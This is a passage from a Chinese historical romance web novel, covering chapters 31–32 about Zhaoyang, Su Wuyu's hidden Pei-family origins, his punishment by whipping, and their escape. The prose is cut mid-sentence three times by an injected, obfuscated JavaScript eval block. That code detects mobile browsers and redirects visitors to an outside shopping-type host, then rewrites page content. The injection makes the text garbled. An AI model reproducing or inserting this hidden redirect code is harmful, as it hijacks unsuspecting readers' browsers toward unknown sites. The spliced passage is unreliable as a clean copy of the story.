“昭阳,你心里是不是还在怪我?”苏无虞的声音带着一丝颤抖,言语间满是挥之不去的伤感。昭阳一时语塞,只觉得胸口发堵,不知该如何回应这沉甸甸的质问。“还是说,这段日子以来,你已经……” 苏无虞的话戛然而止,他没有再说下去,只是默默低下头,目光垂落在地。那双眼中积蓄的落寞与伤感几乎要满溢出来,却被他勉强压抑在沉默之中。 “我已经什么?你为何话只说一半?”昭阳见他这般模样,心中愈发困惑,忍不住追问道。 “那日在林中,我从未有过一丝一毫舍弃你的念头,若是我能提前预见那番遭遇,会让你承受如此多的痛苦与折磨,我宁愿所有的刀刃都落在我身上,也绝不会让你受到哪怕一丁点的伤害!”苏无虞下意识地紧紧握住昭阳的手,指尖微微发颤,仿佛想通过这触碰传递心底深藏的懊悔与不安。 “我与那位姑娘之间,真的什么事情都不曾发生,也正因如此,我当时唯一的想法,便是避免将任何无关紧要的人牵扯进来,以免节外生枝。”他继续解释道。 “其实……关于那天的事,我早就已经想明白了,你不必有太多的压力。”昭阳缓缓地将手抽回,原本只是想拍拍苏无虞,给予他一丝安慰。然而,这个细小的动作,在苏无虞敏感的目光注视下,却仿佛被赋予了截然不同的深意。 “所以……你已经不在乎了,是不是?”苏无虞的声音低得像是飘在风里,带着一种连自己都不敢深究的惶恐,原本就没什么血色的脸,此刻更是白得近乎透明。昭阳看着他这副模样,心头像是被什么东西轻轻撞了一下,泛起一阵酸软的涩意。 “我心中清楚得很,自己无论如何也无法与那个人相提并论。他如今是权倾朝野的当朝新贵,权势滔天,连我父亲那样的人物,在他持续的打压之下都显得力不从心,难以招架,更别说我了。”苏无虞的声音越来越低,仿佛每个字都带着沉重的无力感,“而且……” 他顿了顿,像是被人精准地戳中了内心深处最不愿触及的痛处,整个人的气势都萎靡了下去。他的头深深地埋了下去,流露出一股难以掩饰的自卑与黯然,“外间都传,他的容貌俊美非凡,貌胜潘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569202|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安,想来……他的长相定然是万里挑一的好吧。” 昭阳听完这话,又好气又好笑,一时竟不知该如何开口。她伸手轻轻碰了碰苏无虞垂着的手肘,低声道:“你这说的是什么胡话,我何时拿你同江画棠比过?在我心里,你从来都是你,旁人便是再好,也同我没有半分干系。” 苏无虞猛地抬起头,那双蒙着雾的眼睛里骤然亮起一点光,怔怔望着她,连呼吸都放轻了几分,像是不敢相信自己听到的话。 昭阳被他看得脸颊微热,别开眼轻声道:“我的确气过你隐瞒身份,可我气的不是你出身裴府,是你从头到尾都不肯信我,不肯把这些烦心事说给我听,非要自己一个人扛着。至于什么权势容貌,我若在乎那些,当初在乡间便不会同你走得这般近了。” 这话如同春日里化开冰面的暖流,一下子冲散了苏无虞心头积了三日的阴霾。他喉结轻轻滚动了两下,伸手轻轻覆上昭阳放在膝头的手,这一次,昭阳没有再抽开。 “我不是不信你,”苏无虞的声音依旧带着一点不易察觉的沙哑,“我只是怕,我怕我说了我的身份,说了这些朝堂上的龌龊纷争,会把你拖进这滩浑水里,更怕你知道我是裴相之子后,会像旁人一样,觉得我同我父亲一样,是那种为了权势不择手段的人,会从此疏远我,况且……我也从不觉得,自己是裴家的人。” 他顿了顿,终于将藏在心底多年的过往缓缓道来:“我母亲曾是裴夫人的陪嫁丫鬟,一直未曾有过半分僭越之心,但彼时府中已有了一位庶出的大公子,夫人膝下无子,为了固宠,便设计将我母亲送上了父亲的床榻。” “然而,后来夫人与我母亲先后有孕,她自然是容不下我们母子的,所幸裴老太太宅心仁厚,不忍我们丧命,但却又忌惮夫人母家势力,只得偷偷将我们母子送离京城,从此隐姓埋名。”苏无虞平静地叙述着,仿佛那是旁人的遭遇,与自己无关。 “后来的事,便如我先前与你说的那样,母亲与哥哥相继离世后,我一直靠着附近街坊邻里的救济,独自苟活于世,直到十五岁那年,从京城来了一辆马车,他锦袍加身,说自己是我的父亲,说我的名字叫裴夙,可是……”提及自己所谓的父亲,苏无虞终究还是难掩心中的失落。“他对我并无半分情谊,只是给了我些银钱,让我安分守己,不要肖想不属于自己的东西。” 昭阳的心猛地一沉,指尖无意识地攥紧了苏无虞的衣袖,声音带着一丝不易察觉的颤抖:“那些人……那些把你掳走、折磨你的人,是不是那位裴夫人派来的?” 苏无虞沉默了片刻,眼中闪过一丝痛楚,轻轻点了点头:“我曾怀疑过,但没有证据。她恨我母亲,自然也容不下我这个‘孽种’。” “孽种?”昭阳低声重复着这个词,只觉得一阵心寒,“你何错之有?不过是投错了胎罢了。”她顿了顿,忽然想起苏无虞曾提及的孪生哥哥,“你说你有个孪生哥哥,被人带走后便杳无音信,可曾想过他或许还活着? 31. 惩戒 “活着?”苏无虞苦笑一声:“这么多年了,如果他还活着,为什么不回来找我和娘亲呢?在裴家找上门之前,我一直住在原来的地方,就是怕万一哪一天,哥哥寻了回来,找不到我们。” 昭阳没有接话,脑海中却不由自主地浮现出那日在竹林的情景——江画棠摘下面具的瞬间,那张脸分明与苏无虞有九分相似,除了左眼角那颗小小的红痣,与苏无虞的容貌几乎如出一辙! 一个荒谬却又无法抑制的念头在她心中疯狂滋长:难道江画棠就是苏无虞失散多年的孪生哥哥? 她猛地抬起头,目光灼灼地盯着苏无虞,嘴唇翕动了几下,却又不知该如何开口,“那个……你哥哥和你长得一模一样?” 苏无虞轻轻点头,语气中带着一丝无奈,“我们确实是孪生兄弟,自小长相就一模一样。只是因为我从小身体比较虚弱,气色不如哥哥那般红润有神,所以整个人看起来总显得没什么精神。如果不是这一点细微的差别,街坊邻居们几乎都难以分辨我们兄弟二人,常常把我们认错。” 昭阳微微倾身,继续试探性地问道:“那你哥哥,除了这些之外,还有没有什么别的和你不一样的地方?比如脸上,有没有长痣,或者疤痕之类的标记?” 苏无虞摇了摇头,神情平静地回答:“没有,如果只看脸的话,我们兄弟二人确实没有任何区别。就连娘亲有时在匆忙中也会叫错我们的名字。” 昭阳听罢,便也泄了气,不过这个猜测的确太过匪夷所思,若是真的,那江画棠对苏无虞的种种逼迫与折磨,实在是有些说不通。但是那张几乎一模一样的脸,又该作何解释? “昭阳,你怎么了?脸色这么难看?”苏无虞察觉到她的异样,关切地问道,伸手想要探探她的额头。 昭阳下意识地避开他的触碰,眼神中充满了复杂的情绪,“没什么,”她勉强挤出一个笑容,摇了摇头,“只是忽然觉得有些累了。” 她不能将这个猜测告诉苏无虞,至少现在不能。她需要时间来验证,需要弄清楚江画棠的真实身份,以及他与苏无虞之间那段被尘封的过往。如果江画棠真的是苏无虞的哥哥,那么这盘棋局,恐怕比她想象的还要复杂凶险。 况且,在事情的真相尚未水落石出之前,昭阳内心始终不想因此,给苏无虞带来任何期盼。因为她深知,人心中的期待一旦被点燃、被放大,随之而来的若并非如愿以偿的结局,那么最终所承受的失落与打击,也必将愈发难以承受。所以,与其在一切未定时给予渺茫的希望,不如保持沉默,静待水落石出,以免希望越大,到头来失望越大。 “你好好休息,我去看看陆大哥。”昭阳站起身,匆匆离开了房间,留下苏无虞一个人坐在原地,望着她匆忙离去的背影,眼中充满了不解与担忧。 屋外的阳光刺眼,昭阳却觉得浑身冰冷。她站在庭院中,望着满园盛开的牡丹,心中一片混乱。江画棠,苏无虞,裴家,孪生兄弟……这些线索在她脑海中交织缠绕,形成一个巨大的谜团,让她头痛欲裂。 她知道,自己必须尽快找到答案,否则,她和苏无虞,甚至陆仁秉,都将成为这场权力斗争的牺牲品。而那个隐藏在鬼面具后的男人,他的真实面目,他的最终目的,都将是解开这一切谜团的关键。 几天过后,陆仁秉的伤势总算有了一些起色,伤口不再像之前那样疼痛难忍,气色也恢复了不少。昭阳守在药炉旁,一边轻轻扇着炉火,一边在心里默算着剩下的药材分量,抬头对苏无虞说道:“无虞,陆大哥的药快要煎完了,余下的恐怕只够今天这一副。我们得去药铺再抓些回来,不然明天就没法续上了。” 苏无虞听了,却显得有些迟疑,声音里带着几分犹豫:“可……可以倒是可以,只不过……能不能等晚些时候再出门?现在天色还早,我还有些事情没做完。” 昭阳不禁感到奇怪,放下手中的扇子,看向他问道:“晚些去的话,药铺会不会已经打烊了?陆大哥的药,今天这副煎完就没有了,耽误不得。” 苏无虞似乎被问得有些窘迫,低下头想了想,才轻声提议:“那……这样吧,我把银钱给你,麻烦你去药铺走一趟。我还是留在这儿照看陆大哥比较好,他身边不能没人。” 说罢,他转身就要去取银子。昭阳轻轻应了一声,接过银两,心里却浮起一丝疑惑。买药本不是什么难事,但苏无虞方才的反应实在有些反常。她仔细回想,自从他们来到这座属于裴家的院子暂住,苏无虞似乎从未踏出过大门一步。而且,这院子虽然宽敞干净,却不像寻常大户人家那样有仆人丫鬟往来,除了他们三人之外,整座宅院安静得有些异常,仿佛与世隔绝一般。这种种不寻常的迹象,让昭阳心中隐隐生出几分不安。 夜色如墨,将整座裴府笼罩在一片静谧之中。昭阳躺在床上,辗转反侧,苏无虞白天反常的举动始终萦绕在她心头。他为何那般抗拒出门?这座宅院又为何如此冷清?无数疑问如同藤蔓般缠绕着她,让她难以入眠。 终于,她按捺不住心中的疑虑,悄悄起身,借着窗外微弱的月光,摸索着来到庭院。夜风吹过,带来阵阵花香,却也让她感到一丝寒意。她循着记忆中苏无虞白日里的活动范围,漫无目的地走着,不知不觉便来到了后院的假山附近。 就在这时,一阵沉闷的鞭打声传入耳中,打破了夜的宁静。昭阳心中一紧,屏住呼吸,小心翼翼地朝着声音来源的方向靠近。那声音断断续续,夹杂着布料撕裂的声响,每一下都像是抽在她的心上。 她躲在假山的阴影处,探出头向里望去。眼前的景象让她瞬间如坠冰窟——只见一个陌生的中年男人,身着深色服饰,正手持一条乌黑的皮鞭,一下又一下地抽打在跪在地上的苏无虞身上。 苏无虞依旧穿着那件朴素的旧布袍,此刻已被鞭子抽打得破烂不堪,背上渗出血迹,将白色的衣料染成了触目惊心的红色。他却只是默默地跪在地上,挺直了脊梁,咬紧牙关承受着这一切,没有发出一丝呻吟,仿佛那疼痛与他无关。月光洒在他苍白的脸上,映出他额头上豆大的汗珠和紧蹙的眉头,却掩盖不住他眼神中的倔强与隐忍。 “三公子,您就认个错吧。”那中年男子停下手中的鞭子,语气中带着一丝不易察觉的疲惫与无奈,“相爷也是为您好,毕竟您此次火烧缉事厂实在是惹了大麻烦,相爷怪罪,也是情理之中的。” 苏无虞缓缓抬起头,目光平静地看着管家,声音沙哑却坚定:“是我甘愿领罚的,您不必多言。” “您这又是何苦呢?”管家叹了口气,再次扬起鞭子,“相爷有令,您一日不认错,这惩戒便一日不会停止,您也无法离开这里。您就当可怜可怜老奴,别再让老奴为难了。” 鞭子再次落下,发出清脆的响声。昭阳再也看不下去,她捂住嘴,强忍着不让自己发出声音,眼泪却早已不受控制地夺眶而出。她终于明白,苏无虞为何不愿踏出这座院子,为何总是独自承受着一切。原来,他一直都在遭受着这样非人的折磨。 她心中涌起一股强烈的愤怒与心疼,想要冲出去阻止这一切,却又理智地克制住了自己。她知道,自己现在出去,不仅帮不了苏无虞,反而可能会给他带来更大的麻烦。她只能眼睁睁地看着,看着苏无虞被鞭打,看着他的血染红衣衫,看着他在月光下倔强地挺直脊梁。 不知过了多久,管家终于停下了手中的鞭子,气喘吁吁地看着地上的苏无虞:“三公子,您……您好好想想吧。老奴明日再来。”说罢,他便转身离开了假山后的角落,留下苏无虞一个人跪在地上,身影在月光下显得格外单薄。 昭阳再也忍不住,她快步冲上前,扶起苏无虞,声音哽咽:“无虞,你怎么样?疼不疼?” 苏无虞显然没想到昭阳会出现在这里,他愣了一下,随即强撑着露出一个苍白的笑容:“我没事,你怎么来了?” “我再不来,你是不是就要被他打死了?”昭阳看着他背上的伤口,眼泪流得更凶了,“为什么不反抗?为什么要任由他这样打你?” 苏无虞轻轻摇了摇头,眼神中带着一丝复杂的情绪:“反抗又能如何?这是裴家的家事,我若反抗,只会让事情变得更糟。” “裴家根本就没有拿你当家人看!”昭阳打断他的话,语气坚定,“无虞,我们离开这里吧,离开这个让你痛苦的地方。我们可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571520|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去一个没有人认识我们的地方,重新开始。” 苏无虞看着昭阳眼中的真诚与担忧,心中涌起一股暖流。他轻轻握住她的手,摇了摇头:“现在还不是时候。我还有一些事情没有做完,还有一些真相没有查明。等我查明了一切,我们就离开,好不好?” 昭阳看着他坚定的眼神,知道自己无法说服他。她只能点了点头,扶着苏无虞慢慢站起身:“好,我等你。但是你答应我,以后不许再这样伤害自己了。” 苏无虞轻轻“嗯”了一声,在昭阳的搀扶下,缓缓向房间走去。月光下,他们的身影被拉得很长,仿佛预示着前方的道路依旧漫长而艰难。但昭阳知道,无论前方有多少困难,她都会陪在苏无虞身边。 回到房间后,昭阳急忙从药箱里翻出金疮药和干净的布条,转身却见苏无虞背对着她站在窗边,月光勾勒出他清瘦的轮廓,背上的血痕在白色衣料下若隐若现。她走上前,轻轻碰了碰他的胳膊:“快把衣服脱了,我帮你上药。” 苏无虞的身子几不可察地僵了一下,耳根泛起薄红,声音低低的:“我自己来就好。” “你自己怎么上药?难不成要我眼睁睁看着你疼死?”昭阳不由分说地去解他的衣扣,指尖触到他滚烫的皮肤时,两人都顿了顿。苏无虞下意识地按住衣襟,喉结滚动着:“男女授受不亲……” “都什么时候了还说这些!何况又不是第一次了。”昭阳瞪了他一眼,手上却放柔了力道,“你要是再扭捏,伤口感染了怎么办?到时候我可不管你。”她一边说着,一边小心翼翼地将他的外袍褪下,露出背上纵横交错的伤痕,新伤叠着旧疤,看得她心口一阵发紧。 苏无虞闭着眼,任由她轻柔地清理伤口,冰凉的药膏敷在背上,带来一阵刺痛,却远不及心中的悸动。他能清晰地感受到她的指尖划过他的皮肤,带着一丝颤抖,每一次触碰都像是在他心上点了一把火。 “嘶……”苏无虞忍不住倒吸一口凉气。 “弄疼你了?”昭阳连忙放轻动作,抬头却撞进他睁开的眼眸里,那双眸子里盛满了复杂的情绪,有隐忍的疼痛,有难以言说的情愫,还有一丝不易察觉的慌乱。两人的距离近在咫尺,呼吸交缠,空气中弥漫着淡淡的药香和暧昧的气息。 昭阳的心跳漏了一拍,连忙低下头,假装专注地处理伤口,脸颊却不受控制地红了起来。房间里安静得只剩下两人的呼吸声和布料摩擦的声响。 当初在山间救他的时候,只是抱着救人一命的心态,做什么都不在意,但如今的情形,却是大不相同了。“好了。”终于,昭阳帮他包扎好伤口,松了一口气,却不敢再看他的眼睛。 苏无虞默默地穿上衣服,转身坐在床沿,看着她收拾药箱的背影,轻声道:“谢谢你。” “我们之间还说这些做什么。”昭阳转过身,犹豫了一下,还是忍不住问道,“无虞,这座院子外面,是不是有人在监视我们,所以你一直没有出门?” 苏无虞的眼神暗了暗,点了点头:“是裴府的影卫。自从我招惹了缉事厂,裴相就派人在这里看着,防止我再做出什么出格的事情,这里看似是一座别院,但事实上和牢笼也并无差异。” “那我们岂不是一举一动都在他们的眼皮底下?”昭阳心中一紧,“那陆大哥的伤势……” “放心吧,他们不敢轻易进来。”苏无虞安慰道,“我扯了些谎,利用和江画棠的纠缠,狐假虎威了一把,我父亲在没有厘清我们和江画棠的关系前,不敢轻举妄动,也不敢对陆大哥下手。但是我们的行动确实受限,想要离开这里,恐怕没那么容易。” 昭阳沉默了,她看着苏无虞眼中的无奈,心中涌起一股强烈的决心。她一定要帮苏无虞摆脱裴家的控制,让他重获自由。 “无虞,”昭阳走到他面前,眼神坚定,“我们不能坐以待毙。既然他们在监视我们,那我们就利用这一点,让他们以为我们已经放弃了抵抗。然后,我们再暗中寻找机会,离开这里。” 苏无虞看着昭阳眼中的光芒,心中一动,点了点头:“好,我听你的。”两人相视一笑,仿佛在这一刻,所有的困难和阻碍都变得不再重要。 32. 谋划 陆仁秉醒来时,窗外的月光正透过窗棂洒在床榻边,在地上映出斑驳的光影。他动了动手指,只觉浑身酸痛,尤其是胸口的伤口,传来阵阵刺痛。他缓缓睁开眼,映入眼帘的是熟悉的帐顶,鼻尖萦绕着淡淡的药草味。 “陆大哥,你醒了?”一个惊喜的声音在耳边响起,陆仁秉转过头,看到昭阳正端着一碗药走进来,脸上带着掩饰不住的喜悦。 “昭阳妹子……”陆仁秉的声音有些沙哑,他挣扎着想坐起来,却被昭阳按住了肩膀。 “你刚醒,别乱动。”昭阳将药碗放在床边的小几上,伸手探了探他的额头,“烧已经退了,太好了。” 陆仁秉看着昭阳眼中的关切,心中涌起一股暖流。他想起昏迷前的情景,胸口的伤口仿佛还在隐隐作痛,“我……我这是在哪儿?” “我们在裴府的一处别院。”昭阳轻声说道,语气中带着一丝复杂,“无虞他……他是裴相的三公子。” 陆仁秉愣住了,他看着昭阳,眼中充满了难以置信,“裴相?就是那个权倾朝野的裴自成?” 昭阳点了点头,将事情的经过简略地告诉了陆仁秉。从苏无虞的真实身份,到江画棠的阴谋,再到自己被下蛊、失手刺伤他的事,她都一一说了出来,语气中充满了自责和愧疚。 “陆大哥,对不起,都是我的错,你好心来京城找我,可我却害你受了这么重的伤,我……”昭阳的声音哽咽了,说不下去。 陆仁秉却轻轻摇了摇头,脸上露出了憨厚的笑容,“傻妹子,说什么呢。我知道你不是故意的,是那个江画棠太可恶了,竟然对你下蛊。你能把我从缉事厂救出来,我已经很感激你了,怎么会怪你呢,如果没有你,说不定我的小命早就已经交代在那儿了。” 他顿了顿,看着昭阳泛红的眼眶,继续说道:“再说,我们是朋友,不是吗?朋友之间,就该互相帮助,互相理解。当初要不是你们二人相助,我也没有勇气去争取自己的姻缘,你们于我而言,也是恩人。所以这点小伤,不算什么。” 昭阳看着陆仁秉真诚的笑容,心中的愧疚和不安渐渐消散,取而代之的是满满的感动。她没想到,陆仁秉醒来后不仅没有责怪她,反而还出言安慰她。这份情谊,让她在这个陌生的世界里,更感受到了一丝温暖和依靠。 “陆大哥……”昭阳的声音有些哽咽,却不知道该说什么。 “好了,别哭了。”陆仁秉拍了拍她的手,“现在不是伤心的时候。我们得想办法离开这里,听你这么一说,这个裴府,我总觉得待着不安全,如果裴相爷哪天心情不好,无虞到底是他儿子,或许不会怎么样,但我们俩可不同,说不定就被咔嚓了。”说罢,陆仁秉还不忘做了个抹脖子的动作。 就在这时,苏无虞端着一碗清粥走了进来。看到陆仁秉醒了,他眼中闪过一丝惊喜,连忙走上前:“陆大哥,你醒了,感觉怎么样?” “好多了,谢谢你,无虞老弟。”陆仁秉笑了笑,他是个识趣的人,没有继续刚才的话题,“让你们担心了。” 苏无虞将清粥递给陆仁秉,坐在床边的椅子上,神色凝重地说道:“现在我们的处境很危险。裴府外面有影卫监视,我们的一举一动都在他们的眼皮底下。而且江画棠那边,也不会善罢甘休。” “那我们该怎么办?总不能一直待在这里坐以待毙吧。”昭阳焦急地问道。 “咳咳,刚才的话,你听到了啊”陆仁秉略显尴尬地笑了笑。 “陆大哥,你说的是实话,也是我们现在共同的困境。”苏无虞神色平淡,这也让陆仁秉宽了心。 此时的陆仁秉喝了一口清粥,沉思了片刻,忽然眼睛一亮,说道:“对了,我在京城有一个叔父,是做布匹买卖的,开了一家锦绣布庄。我们可以去找他帮忙,说不定他能想办法让我们离开京城。” “锦绣布庄?”苏无虞皱了皱眉,“我好像听说过这家布庄,在京城还算有些名气。只是不知道你叔父是否可靠。” “放心吧,我叔父为人正直,最讲义气。我们家以前做药材生意的时候,和他打过不少交道。他一定会帮我们的。”陆仁秉肯定地说道。 昭阳也觉得这是一个可行的办法,连忙说道:“除了这个办法,我们似乎也没有更好的出路,那我们现在就去找他?” “不行。”苏无虞摇了摇头,“我们现在出去,肯定会被影卫发现。而且陆大哥的伤势还没好,不宜行动。” 他顿了顿,看向昭阳,说道:“昭阳,我的行动受限,陆大哥又方才大病初愈,现在只有你能出去。你以买药为由,先去锦绣布庄和陆老板取得联系,告诉他我们的情况,看看他的态度,我们再从长计议。” 昭阳点了点头,眼中闪过一丝坚定:“好,我去。但是裴府的影卫肯定会跟踪我,我该怎么摆脱他们?” 苏无虞沉思了片刻,说道:“江画棠现在和我父亲斗得正凶,裴府的人对他也有所忌惮。你外出的时候,故意在影卫面前夸大你与江画棠的关系,让他们以为你是江画棠的人。他们肯定会有所犹豫,不敢轻易对你下手。你就趁这个机会,摆脱他们。” 苏无虞的话让昭阳茅塞顿开,这不就是狐假虎威嘛,昭阳有信心能把事情做好,她点了点头:“好,我知道了,一切包在我身上。” 接下来的几天,昭阳一边照顾陆仁秉,一边暗中准备着外出的事宜。她仔细观察着影卫换班的规律,记熟了前往锦绣布庄的路线。 终于,到了展开行动的这一天,昭阳以买药为由,独自出了府,她知道身后有影卫跟踪,但依旧装作一副稀松平常的样子。 昭阳心中暗自窃喜,心里却盘算着接下来的行动。一出府门,她便故意放慢了脚步,一边走一边自言自语:“唉,江督主也真是的,非要让我出来买这种药,说是什么只有京城才有。要是被裴相知道了,还不知道会怎么想呢。” 她的声音不大不小,刚好能让身后的影卫听到。影卫果然停下了脚步,脸上露出了犹豫的神色。他们面面相觑,不知道该怎么办。江画棠的威名,他们可是有所耳闻的,自然也是知道一些近来裴府与他的过节,要是真的得罪了他,他们可承担不起这个责任。 昭阳见状,心中暗自得意。她继续往前走,脚步却越来越快,“我与他约好了要在城南见面,可不能误了时辰。”锦绣布庄在城北,昭阳故意往反方向说,企图迷惑影卫。 就在影卫还在犹豫的时候,昭阳忽然拐进了一条小巷,利用熟悉的地形,很快就摆脱了他们的跟踪。 摆脱影卫后,昭阳不敢耽搁,一路朝着锦绣布庄的方向跑去。锦绣布庄位于京城的繁华地段,门面宽敞,装修豪华。昭阳站在布庄门口,深吸了一口气,整理了一下衣衫,才走了进去。 布庄里人来人往,生意兴隆。一个伙计看到昭阳进来,连忙上前招呼:“这位姑娘,请问您需要点什么?” 昭阳四处看了看,压低了声音说道:“我找陆老板,我是他的侄子陆仁秉的朋友。” 伙计愣了一下,上下打量了昭阳一番,说道:“陆老板正在后院算账,您稍等,我去通报一声。” 不一会儿,一个身材微胖、面容和善的中年男人跟着伙计走了出来。他看到昭阳,眼中闪过一丝疑惑:“你是?” “陆老板,我叫宋昭阳,是陆仁秉的朋友。”昭阳连忙说道,“陆大哥现在在一处别院,他受了伤,情况危急,想请您帮忙。” 陆老板听了,脸色顿时变得凝重起来。他将昭阳拉到一旁,低声问道:“仁秉怎么会在京城?他出什么事了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581938|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 昭阳将事情的经过简略地告诉了陆老板。陆老板听完,眉头紧锁,沉思了片刻,说道:“裴府可不是好惹的地方。江画棠更是心狠手辣,我们要是插手这件事,恐怕会引火烧身。” 昭阳看着陆老板犹豫的神色,心中有些着急:“陆老板,我知道这件事很危险,但是陆大哥是您的侄子,您不能见死不救啊。而且我们只是想离开京城,不会给您带来太大的麻烦。” 陆老板叹了口气,看着昭阳真诚的眼神,最终还是点了点头:“好吧,谁让仁秉是我的侄子呢。你们打算什么时候离开?” “我们想尽快离开,最好是今晚。”昭阳说道。 陆老板点了点头,说道:“好,我今晚安排一辆马车在裴府后门接应你们。你们到时候从后门出来,直接上马车,我会送你们去城外的一处宅子。” 昭阳心中一喜,连忙说道:“谢谢陆老板,您真是太仗义了。” 陆老板笑了笑,说道:“不用谢,都是朋友。你们自己也要小心,裴府的影卫可不是那么好对付的。” 昭阳点了点头,又和陆老板商量了一些细节,才离开了锦绣布庄。她不敢耽搁,连忙朝着裴府的方向赶去。她知道,今晚将是他们逃离裴府的关键一战,不容有失。 回到裴府时,昭阳装作一副若无其事的样子,回到了别院。 苏无虞和陆仁秉看到她回来,连忙围了上来。“怎么样?联系上陆老板了吗?”苏无虞焦急地问道。 昭阳点了点头,脸上露出了笑容:“联系上了。陆老板答应今晚安排马车在后门接应我们,我们今晚就可以离开。” 苏无虞和陆仁秉听了,脸上都露出了惊喜的神色。“太好了!”陆仁秉激动地说道,“我们终于可以离开这个鬼地方了。” 苏无虞却没有那么乐观,他皱了皱眉,说道:“我们不能掉以轻心。裴府的影卫肯定会加强戒备,我们今晚的行动一定要小心谨慎。”昭阳和陆仁秉点了点头,他们知道,今晚的逃离不会那么容易。但是他们已经没有退路,只能勇往直前。 夜幕降临,裴府笼罩在一片寂静之中。昭阳、苏无虞和陆仁秉悄悄地来到了后院的后门。后门处果然有两个影卫在看守,他们手持长刀,警惕地注视着四周。 苏无虞示意昭阳和陆仁秉躲在暗处,自己则悄悄地朝着影卫的方向摸去。他动作轻盈,如同一只灵猫,很快就来到了影卫的身后。 就在这时,影卫似乎察觉到了什么,猛地转过身来。苏无虞眼疾手快,手中的短剑瞬间出鞘,朝着影卫的喉咙刺去。影卫来不及反应,便倒在了地上。 另一个影卫见状,连忙拔刀朝着苏无虞砍去。苏无虞侧身躲过,手中的短剑如同毒蛇般,再次刺向影卫的胸口。影卫惨叫一声,也倒在了地上。 解决了影卫,苏无虞连忙打开后门。一辆马车早已等在门外,车夫看到他们,连忙说道:“快上车,陆老板让我来接应你们。” 昭阳和陆仁秉连忙上了马车,苏无虞也跟着坐了上去。车夫一挥马鞭,马车便朝着城外的方向驶去。坐在马车上,昭阳看着窗外飞逝的夜景,心中感慨万千。 他们终于离开了裴府,离开了这个让他们痛苦和挣扎的地方。但是她知道,这只是他们逃离的开始,前方还有更多的困难和挑战在等着他们。 江画棠的阴谋,裴家的势力,还有她身上的蛊毒,这一切都像一座座大山,压在她的心头。她不知道自己能否摆脱这一切,但是她知道,只要有苏无虞和陆仁秉在身边,她就有勇气面对一切。 马车在夜色中疾驰,朝着未知的前方驶去。昭阳靠在苏无虞的肩膀上,感受着他温暖的体温,心中渐渐平静下来。她知道,无论前方有多少困难,她都会和苏无虞一起,勇敢地走下去。